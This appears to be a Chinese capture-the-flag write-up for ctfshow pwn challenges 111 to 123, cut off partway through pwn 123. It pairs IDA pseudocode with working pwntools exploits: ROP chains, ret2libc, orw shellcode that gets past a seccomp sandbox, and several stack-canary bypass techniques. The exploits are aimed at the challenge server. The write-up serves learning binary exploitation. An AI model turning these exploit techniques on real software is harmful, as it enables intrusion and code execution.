pwn 111 检查保护:
64位仅开启NX保护
IDA直接查看漏洞函数:
明显的栈溢出漏洞,观察到还有后门函数:
那么简单了,只需要栈溢出,将返回地址覆盖成这个函数的地址就可以拿到flag了。
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28143 ) flag = elf.sym['_do_global' ] payload = cyclic(0x80 +8 ) + p64(flag) io.sendline(payload) io.interactive()
pwn 112
(要注意var变量这里提示了qword是4字节的,因此在输数据的时候应该用p32而不是直接用byte类型)
检查保护:
32位保护全开,其中部分开启RELRO
IDA查看漏洞函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int ctfshow () { var[13 ] = 0 ; var[14 ] = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , var); if ( *(_QWORD *)&var[13 ] ) { if ( *(_QWORD *)&var[13 ] != 0x11L L ) return printf ( "something wrong! val is %d" , var[0 ], var[1 ], var[2 ], var[3 ], var[4 ], var[5 ], var[6 ], var[7 ], var[8 ], var[9 ], var[10 ], var[11 ], var[12 ], var[13 ], var[14 ]); else return register_tm(); } else { printf ("%s, Welcome!\n" , var); return puts ("Try doing something~" ); } }
细心观察其实就发现还是存在后门函数:
那么让var[13] = 0x11 也就是十进制的17即可执行到后门函数了。
即直接将var[13]覆盖成17即可
Exp
1 2 3 4 5 6 7 8 from pwn import *context.log_level='debug' io = remote('pwn.challenge.ctf.show' ,28232 ) payload = p32(17 ) * 0xE io.recv() io.sendline(payload) io.interactive()
pwn 113 检查保护:
64位程序完全开启RELRO保护,开启NX保护
IDA查看main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v3; char v5[1032 ]; __int64 v6; char v7; __int64 v8; is_detail = 0 ; go(argc, argv, envp); logo(); fwrite(">> " , 1uLL , 3uLL , _bss_start); fflush(_bss_start); v8 = 0LL ; while ( !feof(stdin ) ) { v7 = fgetc(stdin ); if ( v7 == 10 ) break ; v3 = v8++; v6 = v3; v5[v3] = v7; } v5[v8] = 0 ; if ( (unsigned int )init(v5) ) { qsort(files, size_of_path, 0x200u LL, cmp); search_file_info(); } else { fflush(_bss_start); set_secommp(); } return 0 ; }
跟进init():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 __int64 __fastcall init (char *a1) { __int64 result; char *v2; struct stat v3 ; char ptr[256 ]; char *src; _BYTE *v6; size_of_path = 0 ; if ( (unsigned int )stat(a1, &v3) == -1 ) { strcpy (ptr, "Can't get the information of the given path.\n" ); fwrite(ptr, 1uLL , 0x2Eu LL, _bss_start); return 0LL ; } else if ( (v3.st_mode & 0xF000 ) == 0x8000 ) { size_of_path = 1 ; src = __xpg_basename(a1); strcpy (files, src); strcpy (dest, a1); return 1LL ; } else { result = v3.st_mode & 0xF000 ; if ( (_DWORD)result == 0x4000 ) { if ( a1[strlen (a1) - 1 ] != 47 ) { v2 = &a1[strlen (a1)]; v6 = v2 + 1 ; *v2 = 47 ; *v6 = 0 ; } get_dir_detail(a1); return 1LL ; } } return result; }
逻辑看起来不明所以可能
注意到程序还开启了沙箱set_secommp():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 int set_secommp () { __int16 v1; __int16 *v2; __int16 v3; char v4; char v5; int v6; __int16 v7; char v8; char v9; int v10; __int16 v11; char v12; char v13; int v14; __int16 v15; char v16; char v17; int v18; __int16 v19; char v20; char v21; int v22; __int16 v23; char v24; char v25; int v26; __int16 v27; char v28; char v29; int v30; __int16 v31; char v32; char v33; int v34; prctl(38 , 1LL , 0LL , 0LL , 0LL ); v3 = 32 ; v4 = 0 ; v5 = 0 ; v6 = 4 ; v7 = 21 ; v8 = 0 ; v9 = 5 ; v10 = -1073741762 ; v11 = 32 ; v12 = 0 ; v13 = 0 ; v14 = 0 ; v15 = 53 ; v16 = 0 ; v17 = 1 ; v18 = 0x40000000 ; v19 = 21 ; v20 = 0 ; v21 = 2 ; v22 = -1 ; v23 = 21 ; v24 = 1 ; v25 = 0 ; v26 = 59 ; v27 = 6 ; v28 = 0 ; v29 = 0 ; v30 = 2147418112 ; v31 = 6 ; v32 = 0 ; v33 = 0 ; v34 = 0 ; v1 = 8 ; v2 = &v3; return prctl(22 , 2LL , &v1); }
程序的关键就是看各个函数以及了解一些结构体,如果对这些毫不了解,那么简单尝试运行程序:
随便输入,然后回显一个:Can’t get the information of the given path.(无法获取给定路径的信息。)
那么尝试给定一个路径试试 尝试根目录(/):
发现能够看到给定路径下的文件
但是仅仅能看到文件信息,并不能获取到文件内容。[此时为本地运行],至此,我们大概了解了这个程序的作用。
回到函数:
这个函数能获取文件的各种属性
__xstat返回的其实是文件的stat结构体,里面会记录文件的类型和权限。用结构体里面的mode出来进行判断。
详细部分在课程中会进行讲解。
程序中有一个判断,当我们输入的文件路径有问题,它就会返回0,然后进入沙箱中,那么我们就可以任意输入,使其出错进入沙箱进行沙箱ROP,还是非常简单的。
先泄漏地址,再通过mprotect函数修改权限然后orw进行读flag,flag名称我们可以在远程连接的时候输入路径即可看到flag文件格式,详细过程这里不再概述见exp。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28251 ) elf = ELF('./pwn' ) libc = ELF("/home/bit/libc/64bit/libc-2.27.so" ) main = elf.sym['main' ] puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x401ba3 payload = 'a' * 0x418 + p8(0x28 ) payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) payload += p64(main) io.sendlineafter('>> ' , payload) puts = u64(io.recvuntil('\x7f' )[-6 :] + '\x00\x00' ) print hex (puts)pause() libc_base = puts - libc.symbols['puts' ] print hex (libc_base)payload = 'a' * 0x418 + p8(0x28 ) payload += p64(pop_rdi) + p64(elf.bss()) payload += p64(libc_base + libc.sym['gets' ]) payload += p64(pop_rdi) + p64(elf.bss() & 0xfffffffffffff000 ) payload += p64(libc_base + 0x23e6a ) + p64(0x1000 ) payload += p64(libc_base + 0x1b96 ) payload += p64(7 ) + p64(libc_base + libc.sym['mprotect' ]) + p64(elf.bss()) io.sendlineafter('>> ' , payload) shellcode = asm(''' mov rax, 0x67616c662f2e push rax mov rdi, rsp xor esi, esi mov eax, 2 syscall cmp eax, 0 jg next push 1 mov edi, 1 mov rsi, rsp mov edx, 4 mov eax, edi syscall jmp exit next: mov edi, eax mov rsi, rsp mov edx, 0x100 xor eax, eax syscall mov edx, eax mov edi, 1 mov rsi, rsp mov eax, edi syscall exit: xor edi, edi mov eax, 231 syscall ''' )io.sendline(shellcode) io.interactive()
pwn 114 检查保护:
64位仅关闭Canary
IDA查看main函数:
这里的flagishere函数是一个后门函数,负责将flag读取到flag变量中,而在这之前有一个signal信号量处理函数,通过查看sigsegv_handler得知,在程序收到一个段错误时,程序会将flag变量输出
跟进ctfshow():
这里我们可以看到我们的dest存在栈溢出问题,因此这里我们只需要输入大于0x100个字节的数据结果触发信号量处理函数,得到flag
存在后门函数:
非常简单,溢出后即可获得flag
甚至都不需要写exp
1 2 3 4 5 6 7 8 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28292 ) io.sendline('Yes' ) payload = cyclic(0x100 ) io.sendline(payload) io.interactive()
Canary bypass pwn 115
覆盖截断字符获取canary
检查保护:
32位开启了Canary保护与NX保护,部分开启RELRO保护
IDA查看main函数,直接跟进ctfshow函数:
明显的溢出漏洞还有格式化字符串漏洞,还观察到存在后门函数:
由于开启了Canary保护,我们首先得泄漏出Canary的值,然后再利用backdoor函数进行get shell(方式不唯一)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' ,28128 ) elf = ELF('./pwn' ) backdoor = elf.sym["backdoor" ] io.recvuntil("Try Bypass Me!\n" ) payload = "A" *200 io.sendline(payload) io.recvuntil("A" *200 ) Canary = u32(io.recv(4 )) - 0xa log.info("Canary:" +hex (Canary)) payload = "\x90" *200 + p32(Canary)+"\x90" *12 + p32(backdoor) io.send(payload) io.recv() io.recv() io.interactive()
pwn 116
格式化字符串泄露canary
检查保护:
32位开启了Canary保护与NX保护,部分开启RELRO保护
IDA查看ctfshow函数:
同样的存在溢出漏洞跟格式化字符串漏洞,且存在后门函数:
这次我们利用格式化字符串漏洞去泄漏Canary的值来进行绕过。
格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,再进行栈溢出。
printf函数直接打印了read读取的用户输入的内容,因此我们可以通过输入特殊的payload来利用printf泄露栈中的内容。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.log_level = 'debug' p = remote('pwn.challenge.ctf.show' ,28182 ) elf = ELF('./pwn' ) backdoor = elf.sym['qwerasd' ] p.recv() p.sendline("%15$08x" ) canary = io.recv()[:8 ] Canary = canary.decode('ascii' ) result = bytes .fromhex(Canary)[::-1 ] canary_offset = 8 *4 ret_offset = 3 *4 payload = canary_offset*'a' + result + ret_offset*'b' + p32(backdoor) p.sendline(payload) p.interactive()
pwn 117
SSP Leak泄露canary
检查保护:
64位开启了Canary保护与NX保护,部分开启RELRO保护
IDA查看main函数:
可以看到程序先以及读取了/flag文件,然后可以看到buf在bss段,gets(v5)明显的栈溢出漏洞
canary检测失败时会调用stack_chk_fail函数,输出一段报错,报错会输出文件名,覆盖文件名指针,从而实现任意读,也就是覆盖变量__libc_argv[0],这样我们就可以在canary检测失败时,输出我们想要的flag值:
flag(buf)地址为:
栈顶地址:
argv[0]位置:
exp
1 2 3 4 5 6 7 8 9 10 from pwn import *context(arch='amd64' , os='linux' ,log_level='debug' ) p = remote('pwn.challenge.ctf.show' ,28242 ) flag = 0x6020A0 p.recvuntil('Haha,It has reduced you a lot of difficulty!' ) payload = b'a' * 504 + p64(flag) // 0x7fffffffdc28 - 0x7fffffffda30 p.sendline(payload) p.interactive()
这里最让我困扰的是我开始在我的wsl2(ubuntu22.04)做时找到的栈顶地址一直是0x7fffffffda00,计算出来的偏移是552.因为一直没有考虑到libc版本的问题,所以在这里卡了很久。最终是将程序的libc版本改成libc-2.23解决问题
pwn 118 检查保护:
32位开启Canary与NX保护
IDA查看main函数,跟进ctfshow函数:
还是明显的栈溢出漏洞跟格式化字符串漏洞,这次我们再换一种方式进行绕过
我们还是发现存在后门函数:
这次我们劫持__stack_chk_fail函数,由于这里存在后门函数能直接获取flag,那么我们只需要将其改写为get_flag函数的地址就可以了。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context.log_level = 'debug' p = remote('pwn.challenge.ctf.show' ,28151 ) elf = ELF('./pwn' ) stack_chk_fail_got = elf.got['__stack_chk_fail' ] getflag = elf.sym['get_flag' ] payload = fmtstr_payload(7 , {stack_chk_fail_got: getflag}) payload = payload.ljust(0x50 , 'a' ) p.sendline(payload) p.recv() p.interactive()
pwn 119 检查保护:
32位开启Canary与NX保护,部分开启RELRO保护
IDA查看main函数:
程序中存在fork函数,而且还是不断循环,跟进ctfshow函数:
还是栈溢出漏洞,开启了Canary保护,因此我们需要先绕过保护
每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。因此我们可以考虑进行one by one 爆破
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(os='linux' , arch='i386' ) p = remote('pwn.challenge.ctf.show' ,28233 ) elf = ELF('../code/pwn' ) backdoor = elf.sym['backdoor' ] canary = b'\x00' p.recvuntil('Try PWN Me!\n' ) for i in range (3 ): for j in range (256 ): print (f"No.{i} index:{j} " ) print (f"current Canary: {canary + j.to_bytes(1 , byteorder='little' )} " ) payload = b'a' * (0x70 - 0xC ) + canary + j.to_bytes(1 , byteorder='little' ) p.send(payload) text = p.recvuntil('Try PWN Me!\n' ) text_str = str (text) print (text_str) if ("stack smashing detected" not in text_str): print (text_str) log.success(f"success: {j} " ) canary += j.to_bytes(1 , byteorder='little' ) break else : print ("failed" ) log.success(hex (u32(canary))) payload2 = b'a' * (0x70 - 0xc ) + canary + b'a' * 0xc + p32(backdoor) p.sendline(payload2) p.interactive()
这题其实总体难度并不大,逐个字节爆破就可以了,但是我在做的时候遇到了几个问题:首先就是python中的一些数据类型转化和编码问题,这里可以看一下这篇文档 ;其次就是我按照官方给到的WP写exp的时候,遇到了遍历完256次之后没有找到这一字节数据的情况(!!!),开始我还以为是我代码哪里写错了,最后我还直接用python2跑了一下官方的题解^1 ,也是出现了这个问题(目前这个问题我还没想清楚是为什么)。最终的解决方案是将sleep()函数删掉就可以了–这里猜测可能是传输过程中出现了数据的丢失吧 :no_mouth:
pwn 120 检查保护:
64位仅关闭PIE
IDA查看main函数:
创建了一个线程,跟进看一下:
子进程里面先让用户输入要输入的大小,如果大于0x5000就输出”Are you kidding me?”,如果小于等于就进行读取明显存在栈溢出
Canary 储存在 TLS(Thread local storage) 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。
我们可以从这里溢出到TLS修改canary,接下来就是确定canary的位置
之后便是确定好偏移,然后构造ROP链,泄露地址puts函数的地址,计算出libcbase,最后然后我们只需要在构造一个read,写一个one_gadget到stack_pivot上,然后控制返回地址回stack_pivot便能获取一个shell了
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28233 ) elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) leave_addr = 0x400ada pop_rdi_ret = 0x400be3 pop_rsi_r15_ret = 0x400be1 bss_addr = 0x602f00 payload = 'a' * 0x510 + p64(bss_addr - 0x8 ) payload += p64(pop_rdi_ret) + p64(elf.got["puts" ]) + p64(elf.symbols["puts" ]) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0 ) + p64(elf.symbols["read" ]) payload += p64(leave_addr) payload = payload.ljust(0x1000 ,'a' ) io.sendlineafter("How much do you want to send this time?\n" ,str (0x1000 )) sleep(0.5 ) io.send(payload) sleep(0.5 ) io.recvuntil("See you next time!\n" ) puts = u64(io.recv(6 ).ljust(8 ,'\x00' )) print hex (puts)libc_base = puts - libc.symbols["puts" ] one = libc_base + 0x4f302 payload = p64(one) io.send(payload) io.interactive()
pwn 121 检查保护:
64位开启Canary与NX保护,部分开启RELRO
IDA查看main函数(修改函数名后):
根据菜单栏,我们不难发现,首先着重引起注意的就是4 (ctfshow)跟进查看:
这里存在三个漏洞,分别为格式化字符串漏洞,栈溢出漏洞,堆溢出漏洞
Fmt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 __int64 fmt () { unsigned __int64 v0; unsigned __int8 v2; char v3; int i; int j; int v6; int v7; int v8; int k; signed __int64 v10; signed __int64 v11; char format[512 ]; char s[256 ]; char v14[256 ]; char v15[520 ]; unsigned __int64 v16; v16 = __readfsqword(0x28u ); memset (format, 0 , sizeof (format)); strcpy (s, "try_to_get_flag" ); memset (&s[16 ], 0 , 0xF0u LL); v10 = strlen (s); v0 = (unsigned __int64)v14; memset (v14, 0 , sizeof (v14)); v7 = 0 ; for ( i = 0 ; i <= 255 ; ++i ) { format[i] = i; v0 = (unsigned __int8)s[i % v10]; v14[i] = v0; } for ( j = 0 ; j <= 255 ; ++j ) { v7 = (v14[j] + v7 + format[j]) % 256 ; v2 = format[j]; format[j] = format[v7]; v0 = v2; format[v7] = v2; } sub_400E76(v15, 500LL , v0); v11 = strlen (v15); v8 = 0 ; v6 = 0 ; for ( k = 0 ; k < v11; ++k ) { v6 = (v6 + 1 ) % 256 ; v8 = (v8 + format[v6]) % 256 ; v3 = format[v6]; format[v6] = format[v8]; format[v8] = v3; v15[k] ^= format[(format[v8] + format[v6]) % 256 ]; } printf (format); return 0LL ; }
格式化字符串不可控
stack_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int stack_overflow () { unsigned int v0; int v2; int v3; int i; int j; unsigned int k; int v7[15026 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); scanf ("%d" , &v2); scanf ("%d" , &v3); for ( i = 1 ; i <= v2; ++i ) scanf ("%d %d" , &v7[i], &v7[i + 12 ]); for ( j = 1 ; j <= v2; ++j ) { for ( k = 1 ; (int )k <= v3; ++k ) { if ( v7[j] > k ) { v7[1500 * j + 24 + k] = v7[1500 * j - 1476 + k]; } else { v0 = v7[1500 * j - 1476 + k]; if ( v7[j + 12 ] + v7[1500 * j - 1476 + k - v7[j]] >= v0 ) v0 = v7[j + 12 ] + v7[1500 * j - 1476 + k - v7[j]]; v7[1500 * j + 24 + k] = v0; } } } return printf ("%d\n" , (unsigned int )v7[1500 * v2 + 24 + v3]); }
结构化写入,但是程序开启了Canary保护
heap_overflow
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 __int64 heap_overflow () { int v0; _BYTE *v1; __int64 result; char v3; int i; unsigned int j; int v6; int v7; int v8; _BYTE *v9; v6 = 0 ; v9 = malloc (0x3E8u LL); v7 = -1 ; v8 = -1 ; while ( 1 ) { v3 = getchar(); if ( v3 == -1 ) break ; v0 = v6++; v9[v0] = v3; } for ( i = 0 ; i < v6; ++i ) { if ( v7 == -1 ) { if ( v8 == -1 && v9[i] == 34 && v9[i - 1 ] != 92 ) { v8 = 1 ; } else if ( v8 == 1 && v9[i] == 34 && v9[i - 1 ] != 92 ) { v8 = -1 ; } } if ( v8 == -1 ) { if ( v7 == -1 && v9[i] == 47 && v9[i + 1 ] == 42 ) { v7 = 1 ; v9[i] = -1 ; } else if ( v7 == 1 && v9[i] == 42 && v9[i + 1 ] == 47 ) { v1 = &v9[i + 1 ]; *v1 = -1 ; v9[i] = *v1; v7 = -1 ; ++i; } else if ( v7 == 1 ) { v9[i] = -1 ; } } } for ( j = 0 ; ; ++j ) { result = j; if ( (int )j >= v6 ) break ; if ( v9[j] != 0xFF ) putchar ((char )v9[j]); } return result; }
仅有一次溢出,无返回
从单个函数或者走入这个分支来看,并不好利用
查看其他函数:
仔细观察函数流程,发现程序里进行了一个异常捕捉机制,在伪代码中这个结构体并没有显示
跟进函数查看一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 __int64 sub_401148 () { __int64 v0; __int64 v1; _DWORD *exception; _DWORD *v3; __int64 v4; int i; char s1[264 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); puts ("FlexMD5 bruteforce tool V0.1" ); puts ("custom md5 state (yes/No)" ); sub_400E76(s1, 4LL , v0); if ( !strncmp (s1, "yes" , 3uLL ) ) { dword_6061A4 = 1 ; puts ("initial state[0]:" ); dword_6061B0 = sub_400F45("initial state[0]:" ); puts ("initial state[1]:" ); dword_6061B4 = sub_400F45("initial state[1]:" ); puts ("initial state[2]:" ); dword_6061B8 = sub_400F45("initial state[2]:" ); puts ("initial state[3]:" ); dword_6061BC = sub_400F45("initial state[3]:" ); } puts ("custom charset (yes/No)" ); sub_400E76(s1, 4LL , v1); if ( !strncmp (s1, "yes" , 3uLL ) ) { dword_6061A4 = 1 ; puts ("charset length:" ); dword_606110 = sub_400F45("charset length:" ); if ( dword_606110 > 256 ) { exception = __cxa_allocate_exception(4uLL ); *exception = 2 ; __cxa_throw(exception, (struct type_info *)&`typeinfo for 'int, 0LL); } puts("charset:"); sub_400E76(s1, (unsigned int)(dword_606110 + 1), (unsigned int)(dword_606110 + 1)); off_606118 = strdup(s1); } puts("bruteforce message pattern:"); sub_400F1E(byte_6061C0, 1024LL); dword_6061A0 = strlen(byte_6061C0); for ( i = 0; i < strlen(byte_6061C0) && byte_6061C0[i] != 46; ++i ) ; if ( i == strlen(byte_6061C0) ) { v3 = __cxa_allocate_exception(4uLL); *v3 = 0; __cxa_throw(v3, (struct type_info *)&`typeinfo for' int , 0LL ); } puts ("md5 pattern:" ); sub_400E76(byte_6065C0, 33LL , v4); return 0LL ; }
仔细观察可以发现这里存在一个整形溢出,对输入+1后进行了无符号整形强制转换
进而又有了一个栈溢出漏洞,同样的程序开启了Canary保护,还是要想办法绕过
这里我们就需要了解并利用异常机制去绕过Canary保护了(详细原理课程中会给大家讲解,这里不讲述原理)
我们现在需要跳过canary检查,如果异常被上一个函数的catch捕获,所以rbp变成了上一个函数的rbp, 而通过构造一个payload把上一个函数的rbp修改成stack_pivot地址, 之后上一个函数返回的时候执行leave ret,这样一来我们就能成功绕过canary的检查,而且进一步我们也能控制eip,,去执行了stack_pivot中的rop了。
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io = remote('pwn.challenge.ctf.show' ,28201 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) message_pattern = 0x6061C0 puts_plt = 0x400BD0 puts_got = 0x606020 readn = 0x400F1E pop_rdi = 0x4044d3 pop_rsi_r15 = 0x4044d1 ret = 0x40150c io.recvuntil("option:\n" ) io.sendline("1" ) io.sendline("No" ) io.sendline("yes" ) io.sendline('-2' ) payload = p64(message_pattern)*37 + p64(ret) io.sendline(payload) payload = p64(0 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rdi) + p64(message_pattern + 0x50 ) + p64(pop_rsi_r15) + p64(1024 ) + p64(message_pattern + 0x50 ) + p64(readn) io.send(payload) io.recvuntil("pattern:\n" ) puts = u64(io.recvuntil("\n" )[:-1 ].ljust(8 ,"\x00" )) libc_base = puts - libc.symbols['puts' ] one_gadget = libc_base + 0x4f302 payload = p64(one_gadget) io.send(payload) io.interactive()
pwn 122 检查保护:
32位开启Canary保护NX保护,部分开启RELRO
IDA查看main函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 int __cdecl main () { void *v1; sub_804866D(); v1 = 0 ; while ( 1 ) { switch ( sub_8048B2E() ) { case 1 : if ( v1 ) free (v1); v1 = (void *)sub_8048B03(0x100u ); sub_8048510("Done." ); continue ; case 2 : if ( v1 ) sub_8048780((char *)v1); goto LABEL_17; case 3 : if ( v1 ) sub_8048823((char *)v1); goto LABEL_17; case 4 : if ( v1 ) sub_80488C6((char *)v1); goto LABEL_17; case 5 : if ( v1 ) sub_8048A70((char *)v1); LABEL_17: sub_8048510("Done." ); break ; case 6 : if ( v1 ) { sub_80484B0("The Flag is: %s\n" , (const char *)v1); free (v1); v1 = 0 ; sub_8048510("Done." ); } else { sub_8048510("You have to input flag first!" ); } break ; case 7 : sub_8048510("Bye" ); return 0 ; default : sub_8048510("Invalid!" ); break ; } } }
看一下菜单:
对应7个分支分别对应7个选项
跟进选项sub_80488C6:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 unsigned int __cdecl sub_80488C6 (char *dest) { char *v1; char *v2; char *v3; _BYTE *v4; char *v5; char *v6; char *v7; char *v8; char *v9; char *v10; char *v11; char *v13; char *i; char src[256 ]; unsigned int v16; v16 = __readgsdword(0x14u ); v13 = src; for ( i = dest; *i; ++i ) { switch ( *i ) { case 'A' : case 'a' : v1 = v13++; *v1 = 52 ; break ; case 'B' : case 'b' : v2 = v13++; *v2 = 56 ; break ; case 'E' : case 'e' : v3 = v13++; *v3 = 51 ; break ; case 'H' : case 'h' : *v13 = '1' ; v13[1 ] = '-' ; v4 = v13 + 2 ; v13 += 3 ; *v4 = '1' ; break ; case 'I' : case 'i' : v5 = v13++; *v5 = 33 ; break ; case 'L' : case 'l' : v6 = v13++; *v6 = 49 ; break ; case 'O' : case 'o' : v7 = v13++; *v7 = 48 ; break ; case 'S' : case 's' : v8 = v13++; *v8 = 53 ; break ; case 'T' : case 't' : v9 = v13++; *v9 = 55 ; break ; case 'Z' : case 'z' : v10 = v13++; *v10 = 50 ; break ; default : v11 = v13++; *v11 = *i; break ; } } *v13 = 0 ; strcpy (dest, src); return __readgsdword(0x14u ) ^ v16; }
可以看到将选项1读入的flag,传入到选项4的sub_80488C6函数中,flag中只要含有h或者H字符就会变成三个字符-> “1-1” ,可以利用这个进行栈溢出。然后函数结尾还有strcpy,将变换后的src字符串,拷贝到dest指向的内存位置。然后由于栈溢出覆盖了canary,所以函数最后会触发stack_chk_fail函数。可以利用栈溢出,strcpy,和触发stack_chk_fail函数,以及搜集的ROPgadget,进行getshell
可以进行验证一下:
其他的都是一个字符对应一个字符,只有h由原本的h变成了1-1
具体流程:
首先选1,输入flag,然后选4,将输入的flag中的h变成1-1字符串,在4选项进入的函数结尾处,strcpy,将ebp+8位置指向堆的指针地址,存到dest,将 从输入的flag中变化后的字符串 的起始地址传到src处, 将src处字符串拷贝到dest处 由于 可以将h字符变长造成栈溢出,所以可以覆盖ebp+8位置的地址, 覆盖为stack_chk_fail的got地址。 然后strcpy将src处的字符串拷贝到stack_chk_fail的got地址处。
这里可以通过构造出泄漏出puts函数的地址,然后进行常规的rop,当然,还有更加简单的方法,这里大家可以自行尝试
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * context.log_level = 'debug' io = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) pop_ebp_ret = 0x08048B01 pop_edi_ebp_ret = 0x08048D8E leave_ret = 0x080485D8 puts = elf.sym['puts' ] puts_got = elf.got['puts' ] arg1 = 0x804b01c readline = 0x080486CB fix_printf = 0x80484b6 ret = 0x0804846a buf = 0x0804BCF0 io.recvuntil('Your choice: ' ) io.sendline('1' ) sleep(0.5 ) io.send(p32(ret) + 'AAAAAAAA' + p32(fix_printf) + '0' + 'H' *85 + p32(pop_ebp_ret) + p32(arg1) + p32(puts) + p32(pop_ebp_ret) + p32(puts_got) + p32(readline) + p32(pop_edi_ebp_ret) + p32(buf) + p32(0x01010101 ) + p32(pop_ebp_ret) + p32(buf-4 ) + p32(leave_ret) +'\n' ) io.recvuntil('Your choice: ' ) io.sendline('4' ) puts = u32(io.recvrepeat(0.5 )[:4 ]) libc_base = puts - libc.sym['puts' ] system = libc_base + libc.sym['system' ] sh = libc_base + next (libc.search("/bin/sh" )) payload = p32(system) + p32(0 ) + p32(sh) io.sendline(payload) io.interactive()
pwn 123 检查保护:
32位开启Canary保护NX保护,部分开启RELRO
IDA查看main函数:
着重看whoareyou,ctfshow,seeyou这三个函数:
Whoareyou():
name在bss段:
ctfshow():
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 unsigned int ctfshow () { unsigned int result; int i; int v2; int v3[11 ]; unsigned int v4; v4 = __readgsdword(0x14u ); for ( i = 0 ; i <= 9 ; ++i ) v3[i + 1 ] = 0 ; puts ("0 > exit" ); puts ("1 > edit number" ); puts ("2 > show number" ); puts ("3 > sum" ); puts ("4 > dump all numbers" ); printf (" > " ); __isoc99_scanf("%d" , v3); switch ( v3[0 ] ) { case 0 : result = __readgsdword(0x14u ) ^ v4; break ; case 1 : printf ("Index to edit: " ); __isoc99_scanf("%d" , &i); printf ("How many? " ); __isoc99_scanf("%d" , &v2); v3[i + 1 ] = v2; result = sub_8048990(); break ; case 2 : printf ("Index to show: " ); 